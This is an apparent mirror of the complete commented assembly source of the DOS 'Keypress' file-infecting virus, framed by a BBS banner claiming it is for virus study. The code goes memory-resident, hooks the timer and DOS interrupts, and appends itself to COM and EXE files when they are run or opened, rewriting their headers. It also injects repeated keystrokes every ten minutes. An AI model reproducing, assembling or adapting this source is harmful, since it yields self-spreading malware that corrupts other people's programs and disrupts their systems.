mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 14:35:27 +00:00
740 lines
28 KiB
NASM
740 lines
28 KiB
NASM
|
;****************************************************************************;
|
||
|
; ;
|
||
|
; -=][][][][][][][][][][][][][][][=- ;
|
||
|
; -=] P E R F E C T C R I M E [=- ;
|
||
|
; -=] +31.(o)79.426o79 [=- ;
|
||
|
; -=] [=- ;
|
||
|
; -=] For All Your H/P/A/V Files [=- ;
|
||
|
; -=] SysOp: Peter Venkman [=- ;
|
||
|
; -=] [=- ;
|
||
|
; -=] +31.(o)79.426o79 [=- ;
|
||
|
; -=] P E R F E C T C R I M E [=- ;
|
||
|
; -=][][][][][][][][][][][][][][][=- ;
|
||
|
; ;
|
||
|
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||
|
; ;
|
||
|
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||
|
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||
|
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||
|
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||
|
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||
|
; Is. Keep This Code in Responsible Hands! ;
|
||
|
; ;
|
||
|
;****************************************************************************;
|
||
|
;********************************************************
|
||
|
; Source code of the Keypress Virus - Made by XSTC
|
||
|
; Made in A86 v3.07
|
||
|
;
|
||
|
; The Keypress Virus installs itself in top of DOS
|
||
|
; memory, without using DOS resident functions. It will
|
||
|
; hook int 1Ch (timer) and 21h (DOS) and will copy every
|
||
|
; 10 minutes during 2 seconds the keys you press five
|
||
|
; times (so if you press '1' it will be '111111') - if
|
||
|
; you press no key, it will usually give ESCs.
|
||
|
;
|
||
|
; In DOS 3+ it spreads to every file executed - so it
|
||
|
; can, besides COM/EXE, infect DRV/OVL/etc.
|
||
|
; It also spreads itself in DOS 1 and 2 with a special
|
||
|
; routine - in this case only COM/EXE files will be
|
||
|
; infected.
|
||
|
;
|
||
|
; It adds, after making full paragraphs of the file
|
||
|
; length, 1232 bytes to COM-files and 1216 to EXE.
|
||
|
;
|
||
|
; This code is only made to show the possibilities and
|
||
|
; dangers of a virus. It is only intended for research
|
||
|
; purposes - spreading a virus is prohibited by law.
|
||
|
;
|
||
|
; NOTE - The compiled code is not 100% compatible with
|
||
|
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
|
||
|
; 'MOV DI,SI' different. This has totally no effect
|
||
|
; on the program.
|
||
|
;********************************************************
|
||
|
|
||
|
; After compiling the new virus, enter the new size in paragraphs in VirParSize
|
||
|
; and compile again.
|
||
|
|
||
|
VirParSize equ 4Ch ; Size of the original KeyPress virus
|
||
|
|
||
|
VirStart: jmp long VirBegin
|
||
|
db 0
|
||
|
|
||
|
ComStart: mov bx,cs ; When the virus has infected a .COM file,
|
||
|
add bx,[102h] ; this is the jump to the virus. Actually,
|
||
|
push bx ; this code is overwritten with the code
|
||
|
mov bx,offset VirBegin ; in the end of the virus.
|
||
|
push bx
|
||
|
retf
|
||
|
|
||
|
EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file
|
||
|
|
||
|
VirSize dw VirParSize shl 4 ; Size of virus in whole pars
|
||
|
|
||
|
VirPars dw VirParSize + 1 ; Size of virus in pars+1
|
||
|
|
||
|
MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack)
|
||
|
|
||
|
Com_or_exe db 00h ; 0 = Com-File, 1 = Exe-File
|
||
|
R_Ax dw (?)
|
||
|
R_Bx dw (?)
|
||
|
R_Cx dw (?)
|
||
|
R_Dx dw (?)
|
||
|
R_Di dw (?)
|
||
|
R_Si dw (?)
|
||
|
R_Bp dw (?)
|
||
|
R_Es dw (?)
|
||
|
R_Ds dw (?)
|
||
|
R_SS dw (?)
|
||
|
R_SP dw (?)
|
||
|
|
||
|
Exe_CS dw (?)
|
||
|
Exe_IP dw (?)
|
||
|
|
||
|
|
||
|
VirBegin: call Save_Regs ; Start of virus
|
||
|
call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE files)
|
||
|
call Get_cs_ip ; Get CS and IP of original prog
|
||
|
call Check_res ; Check virus already resident
|
||
|
jb Exit_inst ; Yes, quit
|
||
|
|
||
|
call Inst_mem ; Install in memory
|
||
|
jb Exit_inst ; Error, quit
|
||
|
|
||
|
call Inst_ints ; Hook interrupts
|
||
|
Exit_Inst: jmp short Rst_regs_prg
|
||
|
nop
|
||
|
|
||
|
Jmp_Prg: db 0EAh ; Jump to original program
|
||
|
PrgOfs dw (?)
|
||
|
PrgSeg dw (?)
|
||
|
|
||
|
Check_res: push ds
|
||
|
xor bx,bx
|
||
|
mov ds,bx
|
||
|
mov bx,600h ; Unused word in memory
|
||
|
cmp word ptr [bx],1 ; Already installed?
|
||
|
jz Installed ; Yes
|
||
|
|
||
|
mov word ptr [bx],1 ; No
|
||
|
stc
|
||
|
|
||
|
Installed: cmc
|
||
|
pop ds
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** For .EXE: Fix orig-prog CS and SS ***
|
||
|
|
||
|
Fix_cs_ss: test byte ptr [Com_or_exe],1
|
||
|
jz no_exe
|
||
|
|
||
|
mov ax,es
|
||
|
add ax,10h
|
||
|
add Exe_cs,ax
|
||
|
add R_ss,ax
|
||
|
|
||
|
No_Exe: ret
|
||
|
|
||
|
|
||
|
;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***
|
||
|
|
||
|
Get_cs_ip: mov ax,[Exe_cs]
|
||
|
mov bx,[Exe_ip]
|
||
|
test byte ptr [Com_or_exe],1
|
||
|
jnz No_rest ; .EXE file: no restore of first bytes
|
||
|
|
||
|
mov ax,es
|
||
|
mov bx,100h
|
||
|
mov cx,10h
|
||
|
mov si,offset First_bytes
|
||
|
mov di,100h
|
||
|
cld
|
||
|
repz ; Restore first 16 bytes (.COM file)
|
||
|
movsb
|
||
|
|
||
|
No_rest: mov [Prgseg],ax
|
||
|
mov [Prgofs],bx
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: Save the registers to restore them after the virus has ended ***
|
||
|
|
||
|
Save_Regs: mov cs:R_ds,ds
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov R_ax,ax
|
||
|
mov R_bx,bx
|
||
|
mov R_cx,cx
|
||
|
mov R_dx,dx
|
||
|
mov R_di,di
|
||
|
mov R_si,si
|
||
|
mov R_bp,bp
|
||
|
mov R_es,es
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Restore regs for original program ***
|
||
|
|
||
|
Rst_regs_prg: mov ax,R_ax
|
||
|
mov bx,R_bx
|
||
|
mov cx,R_cx
|
||
|
mov dx,R_dx
|
||
|
mov bp,R_bp
|
||
|
mov di,R_di
|
||
|
mov si,R_si
|
||
|
mov es,R_es
|
||
|
test byte ptr [Com_or_exe],1
|
||
|
jz No_StackRest ; No stack restore for .COM files
|
||
|
|
||
|
cli
|
||
|
mov ss,[R_ss] ; Restore .EXE stack
|
||
|
mov sp,[R_sp]
|
||
|
sti
|
||
|
|
||
|
No_StackRest: mov ds,R_ds
|
||
|
jmp short jmp_prg
|
||
|
|
||
|
|
||
|
;*** Restore regs for interrupts ***
|
||
|
|
||
|
Rst_regs_int: mov ax,R_ax
|
||
|
mov bx,R_bx
|
||
|
mov cx,R_cx
|
||
|
mov dx,R_dx
|
||
|
mov bp,R_bp
|
||
|
mov di,R_di
|
||
|
mov si,R_si
|
||
|
mov es,R_es
|
||
|
mov ds,R_ds
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: Search for last MCB ***
|
||
|
|
||
|
Last_MCB: push ds
|
||
|
mov bx,es
|
||
|
dec bx
|
||
|
|
||
|
Next_MCB: mov ds,bx
|
||
|
cmp byte ptr [0],5Ah ; Last MCB?
|
||
|
jz Is_last ; Yes
|
||
|
inc bx
|
||
|
add bx,[3] ; Go to next
|
||
|
cmp bx,0A000h ; In ROM?
|
||
|
jb Next_MCB ; No, try next one
|
||
|
|
||
|
Is_Last: pop ds
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: Install virus in end of memory ***
|
||
|
|
||
|
Inst_Mem: call Last_mcb ; Search last MCB
|
||
|
cmp bx,0A000h ; In ROM?
|
||
|
jb Not_ROM ; No, continue
|
||
|
|
||
|
No_Inst: push cs ; Yes, quit
|
||
|
pop ds
|
||
|
stc ; Error, virus not installed
|
||
|
ret
|
||
|
|
||
|
Not_ROM: mov ds,bx
|
||
|
mov ax,[3] ; AX = Size last MCB
|
||
|
sub ax,cs:[VirPars] ; - (Virussize in pars+1)
|
||
|
jbe no_inst ; Not enough memory, quit
|
||
|
cmp ax,800h
|
||
|
jb no_inst ; Less than 2048 pars free, quit
|
||
|
mov [3],ax ; Give program less space to install virus
|
||
|
add bx,ax
|
||
|
inc bx ; BX = seg where virus comes
|
||
|
mov es:[2],bx ; Enter in PSP, program not allowed there
|
||
|
sub bx,10h ; - 10h pars (virus starts at 100h)
|
||
|
push bx
|
||
|
push cs
|
||
|
pop ds
|
||
|
pop es
|
||
|
mov si,100h
|
||
|
mov di,si
|
||
|
mov cx,[VirSize] ; CX = virussize
|
||
|
cld
|
||
|
repz ; Copy virus to virus-segment
|
||
|
movsb
|
||
|
clc ; No error, virus installed
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***
|
||
|
|
||
|
Inst_Ints: push es
|
||
|
pop ds
|
||
|
mov word ptr [Ticks],0
|
||
|
mov ax,351Ch ; Get Addr Timer Tick
|
||
|
int 21h
|
||
|
mov I1c_ofs,bx
|
||
|
mov I1c_seg,es
|
||
|
mov ax,3521h ; Get Addr DOS-Int
|
||
|
int 21h
|
||
|
mov I21_ofs,bx
|
||
|
mov I21_seg,es
|
||
|
mov ax,251Ch
|
||
|
mov dx,offset New_I1c
|
||
|
int 21h ; Install New Timer-Tick Int
|
||
|
mov dx,offset I21_dos12
|
||
|
push dx
|
||
|
mov ah,30h ; Get DOS-Version
|
||
|
int 21h
|
||
|
pop dx
|
||
|
cmp al,3 ; Below 3.0?
|
||
|
jb DosBel3
|
||
|
mov dx,offset new_I21 ; No, new int
|
||
|
DosBel3: mov ax,2521h ; Install new DOS-Int
|
||
|
int 21h
|
||
|
push cs
|
||
|
pop ds
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
|
||
|
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
|
||
|
; keyboard-interrupt.
|
||
|
|
||
|
Ticks dw (?)
|
||
|
|
||
|
New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus loaded'
|
||
|
cmp word ptr cs:[Ticks],2A30h ; 10 minutes passed?
|
||
|
jb org_I1c ; No, go to orig. I1c
|
||
|
cmp word ptr cs:[Ticks],2A54h ; 2 sec. passed?
|
||
|
jbe screw_keys ; Not yet, give ESCs
|
||
|
mov word ptr cs:[Ticks],0 ; Time-counter to 0
|
||
|
jmp short Org_I1c ; Go to orig. I1c
|
||
|
Screw_Keys: push cx
|
||
|
mov cx,5 ; 5 times / tick
|
||
|
Put_Key: int 9 ; Give extra key
|
||
|
loop Put_key
|
||
|
pop cx
|
||
|
Org_I1c: db 0EAh ; Jump far to orig. I1c
|
||
|
I1c_Ofs dw (?)
|
||
|
I1c_Seg dw (?)
|
||
|
|
||
|
New_I24: mov al,0
|
||
|
|
||
|
New_I23: iret
|
||
|
|
||
|
I23_Ofs dw (?)
|
||
|
I23_Seg dw (?)
|
||
|
|
||
|
I24_Ofs dw (?)
|
||
|
I24_Seg dw (?)
|
||
|
|
||
|
ProgSize dw (?) ; Program size in paragraphs
|
||
|
|
||
|
New_I21: cmp ax,4B00h ; New DOS Int for DOS 3 +
|
||
|
jz Is_Start
|
||
|
jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I 21
|
||
|
Is_Start: call Save_Regs
|
||
|
call InstCritInt ; Install new ^c and crit. err. int
|
||
|
mov ax,3D02h ; Open file for read and write
|
||
|
mov ds,R_Ds
|
||
|
int 21h
|
||
|
push cs
|
||
|
pop ds
|
||
|
jc Close_File
|
||
|
mov bx,ax
|
||
|
call Read_header
|
||
|
jc Close_File
|
||
|
call Write_virus
|
||
|
jc Close_File
|
||
|
call Write_header
|
||
|
Close_File: mov ah,3Eh ; Close file
|
||
|
int 21h
|
||
|
call RestCritInt ; Restore ^c and crit-err ints
|
||
|
call Rst_regs_int
|
||
|
jmp far dword ptr cs:[I21_Ofs]
|
||
|
|
||
|
I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and 2.x
|
||
|
jz Is_Open
|
||
|
|
||
|
JmpDos: db 0EAh ; Jump Far
|
||
|
I21_Ofs dw (?)
|
||
|
I21_Seg dw (?)
|
||
|
|
||
|
Is_Open: push ax ; Network-flags?
|
||
|
and al,0FCh
|
||
|
pop ax
|
||
|
jnz JmpDos ; Yes -> DOS
|
||
|
|
||
|
call Save_Regs
|
||
|
|
||
|
call InstCritInt ; Install new ^c and crit. err. int
|
||
|
|
||
|
mov DS,R_Ds
|
||
|
or al,2 ; Write access
|
||
|
pushf
|
||
|
cli
|
||
|
call far cs:[I21_Ofs] ; Open file
|
||
|
push cs
|
||
|
pop ds
|
||
|
jc Open_Error ; Error opening -> DOS
|
||
|
|
||
|
pushf
|
||
|
mov [R_Ax],ax ; Save handle
|
||
|
mov bx,ax
|
||
|
|
||
|
call Chk_Inf ; Check infection is possible
|
||
|
jc No_Infect ; No -> quit
|
||
|
|
||
|
call Read_header
|
||
|
jc No_Infect
|
||
|
|
||
|
call Write_virus
|
||
|
jc No_Infect
|
||
|
call Write_header
|
||
|
No_Infect: call Go_file_beg ; Go to begin of file
|
||
|
call RestCritInt ; Restore ^c and crit-err ints
|
||
|
call Rst_regs_int
|
||
|
popf
|
||
|
retf 2
|
||
|
Open_Error: call RestCritInt ; Restore ^c and crit-err ints
|
||
|
call Rst_regs_int
|
||
|
jmp short JmpDos
|
||
|
|
||
|
|
||
|
;*** Proc: Buffer for header of program to infect ***
|
||
|
|
||
|
Head_buf dw 0Ch dup (?)
|
||
|
|
||
|
|
||
|
;*** Proc: Install new ^C and crit. err. interrupt ***
|
||
|
|
||
|
InstCritInt: push ax
|
||
|
push bx
|
||
|
push dx
|
||
|
push ds
|
||
|
push es
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov ax,3523h ; Get Ctrl-Break Int Addr
|
||
|
int 21h
|
||
|
mov I23_Ofs,bx
|
||
|
mov I23_Seg,es
|
||
|
mov ax,3524h ; Get Crit. Err Int Addr
|
||
|
int 21h
|
||
|
mov I24_Ofs,bx
|
||
|
mov I24_Seg,es
|
||
|
mov ax,2523h
|
||
|
mov dx,offset New_I23 ; Install new Ctrl-Break Int
|
||
|
int 21h
|
||
|
mov ax,2524h ; Install new Crit. Err Int
|
||
|
mov dx,offset New_I24
|
||
|
int 21h
|
||
|
pop es
|
||
|
pop ds
|
||
|
pop dx
|
||
|
pop bx
|
||
|
pop ax
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***
|
||
|
|
||
|
RestCritInt: mov ax,2524h ; Rest. orig. crit. err int
|
||
|
lds dx,dword ptr cs:[I24_Ofs]
|
||
|
int 21h
|
||
|
mov ax,2523h ; Rest. orig. ctrl-break int
|
||
|
lds dx,dword ptr cs:[I23_Ofs]
|
||
|
int 21h
|
||
|
push cs
|
||
|
pop ds
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Read header of file ***
|
||
|
|
||
|
Read_header: mov ah,3Fh
|
||
|
mov dx,offset Head_buf
|
||
|
mov cx,18h
|
||
|
int 21h
|
||
|
jc HeadRead_Err ; Error reading, don't infect
|
||
|
|
||
|
call Check_infect ; Check file already infected; if not, save data
|
||
|
jc HeadRead_Err ; Error, quit
|
||
|
|
||
|
call Calc_data ; Calculate data for infected file
|
||
|
jc HeadRead_Err ; Error, quit
|
||
|
|
||
|
HeadRead_Err: ret
|
||
|
|
||
|
|
||
|
;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***
|
||
|
|
||
|
Write_virus: mov ah,40h ; Write virus behind program
|
||
|
mov cx,[VirSize]
|
||
|
mov dx,100h
|
||
|
int 21h
|
||
|
jc Err_Writ ; Write error, quit
|
||
|
cmp ax,cx
|
||
|
jnz Err_Writ ; ' ' ' ' ' '
|
||
|
test byte ptr [Com_or_exe],1
|
||
|
jz First_Write
|
||
|
ret
|
||
|
|
||
|
First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind virus
|
||
|
mov cx,10h
|
||
|
mov dx,offset Head_buf
|
||
|
int 21h
|
||
|
jc Err_Writ ; Write error, quit
|
||
|
cmp ax,cx
|
||
|
jnz Err_Writ ; ' ' ' ' ' '
|
||
|
clc ; End procedure, no error
|
||
|
ret
|
||
|
|
||
|
Err_Writ: stc ; End procedure, error
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***
|
||
|
|
||
|
Write_header: call Go_file_beg ; Go to begin of file
|
||
|
test byte ptr [Com_or_exe],1 ; .EXE-file?
|
||
|
jnz Exe_header
|
||
|
mov ah,40h ; .COM file - Write 'EB 02'
|
||
|
mov cx,2
|
||
|
mov dx,offset EB02
|
||
|
int 21h
|
||
|
mov ah,40h ; Write program-size in pars
|
||
|
mov cx,2
|
||
|
mov dx,offset ProgSize
|
||
|
int 21h
|
||
|
mov ah,40h ; Write rest of begin of virus
|
||
|
mov cx,0Ch
|
||
|
mov dx,104h
|
||
|
int 21h
|
||
|
ret
|
||
|
|
||
|
Exe_header: mov ah,40h ; Write in File
|
||
|
mov cx,18h
|
||
|
mov dx,offset Head_buf
|
||
|
int 21h
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: Change file pointer ***
|
||
|
|
||
|
Cng_file_ptr: mov ax,4200h
|
||
|
int 21h
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: Go to begin of file ***
|
||
|
|
||
|
Go_file_beg: xor cx,cx ; Filepointer = 0
|
||
|
xor dx,dx
|
||
|
call Cng_file_ptr ; Change File Pointer
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: Check file is already infected ***
|
||
|
|
||
|
Check_infect: mov si,104h
|
||
|
mov di,offset Head_buf+4
|
||
|
push cs
|
||
|
pop es
|
||
|
mov byte ptr [Com_or_exe],0 ; Flag for .COM
|
||
|
cmp word ptr [di-04],5A4Dh ; Is .EXE?
|
||
|
jz Is_Exe
|
||
|
mov cx,0Ch ; No, .COM file
|
||
|
cld
|
||
|
repz ; Already infected?
|
||
|
cmpsb
|
||
|
jnz Do_Infect ; Not yet
|
||
|
Dont_Infect: stc
|
||
|
ret
|
||
|
Do_Infect: clc
|
||
|
ret
|
||
|
Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for .EXE
|
||
|
mov cx,[offset Head_buf+14h] ; cx = Prog-IP
|
||
|
cmp cx,offset VirBegin ; Same as Vir-IP?
|
||
|
jz Dont_Infect ; Yes, quit
|
||
|
cmp word ptr [offset Head_buf+0Ch],0 ; Max extra pars=0?
|
||
|
jz Dont_Infect ; Yes, quit
|
||
|
mov [Exe_ip],cx ; Save prog-IP
|
||
|
mov cx,[Head_buf+16h]
|
||
|
mov [Exe_cs],cx ; Save prog-cs
|
||
|
mov cx,[Head_buf+0Eh]
|
||
|
mov [R_ss],cx ; Save prog-SS
|
||
|
mov cx,[Head_buf+10h]
|
||
|
mov [R_sp],cx ; Save prog-SP
|
||
|
jmp short Do_Infect
|
||
|
|
||
|
|
||
|
;*** Proc: Calculate data for infection ***
|
||
|
|
||
|
Calc_data: mov ax,4202h ; Go to EOF
|
||
|
xor cx,cx
|
||
|
xor dx,dx
|
||
|
int 21h
|
||
|
test al,0Fh ; Size mod 16 = 0 (File is exact x paragraps)?
|
||
|
jz No_par_add ; Yes, no extra par added
|
||
|
add ax,10h ; Add paragraph
|
||
|
adc dx,0 ; Overflow -> Inc dx
|
||
|
and ax,0FFF0h ; Make paragraphs
|
||
|
No_par_add: test byte ptr [Com_or_exe],1
|
||
|
jnz Calc_exe
|
||
|
or dx,dx
|
||
|
jnz not_infect
|
||
|
cmp ax,[maxcomsize] ; File too big?
|
||
|
ja not_infect ; Yes, quit
|
||
|
cmp ax,[VirSize] ; File too small?
|
||
|
jbe Not_Infect ; Yes, quit
|
||
|
mov [ProgSize],ax ; Save program-size
|
||
|
mov cl,4
|
||
|
shr word ptr [ProgSize],cl ; In paragraphs
|
||
|
mov dx,ax
|
||
|
xor cx,cx
|
||
|
call Cng_file_ptr ; Go to EOF
|
||
|
clc
|
||
|
ret
|
||
|
Not_Infect: stc
|
||
|
ret
|
||
|
|
||
|
Calc_exe: push ax
|
||
|
push dx
|
||
|
add ax,100h ; 100 bytes stack
|
||
|
adc dx,0 ; Overflow - inc dx
|
||
|
mov cx,dx
|
||
|
mov dx,ax
|
||
|
call Cng_file_ptr ; Go to EOF
|
||
|
push bx
|
||
|
add ax,[VirSize] ; New exe-length
|
||
|
adc dx,0
|
||
|
mov bx,200h ; For header: / 512
|
||
|
div bx
|
||
|
or dx,dx
|
||
|
jz No_Correct
|
||
|
inc ax ; Files below 2.000.000h bytes - length correction
|
||
|
No_Correct: mov [Head_buf+2],dx ; Save new file-length
|
||
|
mov [Head_buf+4],ax ; ' ' ' ' ' ' ' '
|
||
|
pop bx
|
||
|
pop dx
|
||
|
pop ax
|
||
|
call Calc_cs_ss
|
||
|
mov word ptr [Head_buf+10h],100h ; Prog-SP=100h
|
||
|
mov word ptr [Head_buf+14h],offset VirBegin ; Set prog-IP
|
||
|
clc
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Proc: Calculate new CS and SS for .EXE file ***
|
||
|
|
||
|
Calc_cs_ss: push cx
|
||
|
mov cx,4
|
||
|
Cs_ss_lp: shr dx,1
|
||
|
rcr ax,1
|
||
|
loop Cs_ss_lp
|
||
|
sub ax,[Head_buf+8] ; Size of header
|
||
|
sbb dx,0
|
||
|
mov [Head_buf+0Eh],ax ; Save prog-SS
|
||
|
mov [Head_buf+16h],ax ; Save prog-cs
|
||
|
pop cx
|
||
|
ret
|
||
|
|
||
|
|
||
|
;*** Check infection is possible ***
|
||
|
|
||
|
Chk_Inf: call Chk_exec ; Check file is executable
|
||
|
jb Not_exec
|
||
|
call Get_attr ; Check file has no SYS attr
|
||
|
Not_Exec: ret
|
||
|
|
||
|
|
||
|
;*** Search-paths ***
|
||
|
|
||
|
Com_path db '.COM',0
|
||
|
|
||
|
Exe_path db '.EXE',0
|
||
|
|
||
|
|
||
|
;*** Check file is executable (.COM / .EXE)
|
||
|
|
||
|
Chk_Exec: push es
|
||
|
mov es,R_ds
|
||
|
mov di,dx
|
||
|
xor al,al
|
||
|
mov cx,80h
|
||
|
cld
|
||
|
repnz ; Search '.'
|
||
|
scasb
|
||
|
jnz not_inf ; No '.' found
|
||
|
dec di
|
||
|
push di
|
||
|
mov si,offset Com_path+4
|
||
|
mov cx,4
|
||
|
std
|
||
|
repz ; Check '.COM'
|
||
|
cmpsb
|
||
|
pop di
|
||
|
jnz no_com ; No .COM
|
||
|
clc
|
||
|
jmp short Infect
|
||
|
nop
|
||
|
Not_Inf: stc
|
||
|
|
||
|
Infect: cld
|
||
|
pop es
|
||
|
ret
|
||
|
No_Com: mov si,offset Exe_path+4
|
||
|
mov cx,4
|
||
|
repz ; Check '.EXE'
|
||
|
cmpsb
|
||
|
jnz not_inf ; No .EXE either - not executable
|
||
|
clc
|
||
|
jmp short infect
|
||
|
|
||
|
Get_Attr: push ds
|
||
|
mov ax,4300h ; Get FileAttr
|
||
|
xor cx,cx
|
||
|
mov ds,R_ds
|
||
|
int 21h
|
||
|
pop ds
|
||
|
jb Bad_Attr ; Error - don't infect
|
||
|
test cx,4 ; System-Attr?
|
||
|
jnz Bad_Attr ; Yes, don't infect
|
||
|
clc
|
||
|
ret
|
||
|
|
||
|
Bad_Attr: stc
|
||
|
ret
|
||
|
|
||
|
First_bytes: int 20h ; First bytes of orig. program - here just 'Go to DOS'
|
||
|
dw (?)
|
||
|
mov bx,cs ; Overwrites the begin
|
||
|
add bx,[102h]
|
||
|
push bx
|
||
|
mov bx,offset VirBegin
|
||
|
push bx
|
||
|
retf
|
||
|
|
||
|
;****************************************************************************;
|
||
|
; ;
|
||
|
; -=][][][][][][][][][][][][][][][=- ;
|
||
|
; -=] P E R F E C T C R I M E [=- ;
|
||
|
; -=] +31.(o)79.426o79 [=- ;
|
||
|
; -=] [=- ;
|
||
|
; -=] For All Your H/P/A/V Files [=- ;
|
||
|
; -=] SysOp: Peter Venkman [=- ;
|
||
|
; -=] [=- ;
|
||
|
; -=] +31.(o)79.426o79 [=- ;
|
||
|
; -=] P E R F E C T C R I M E [=- ;
|
||
|
; -=][][][][][][][][][][][][][][][=- ;
|
||
|
; ;
|
||
|
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||
|
; ;
|
||
|
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||
|
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||
|
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||
|
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||
|
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||
|
; Is. Keep This Code in Responsible Hands! ;
|
||
|
; ;
|
||
|
;****************************************************************************;
|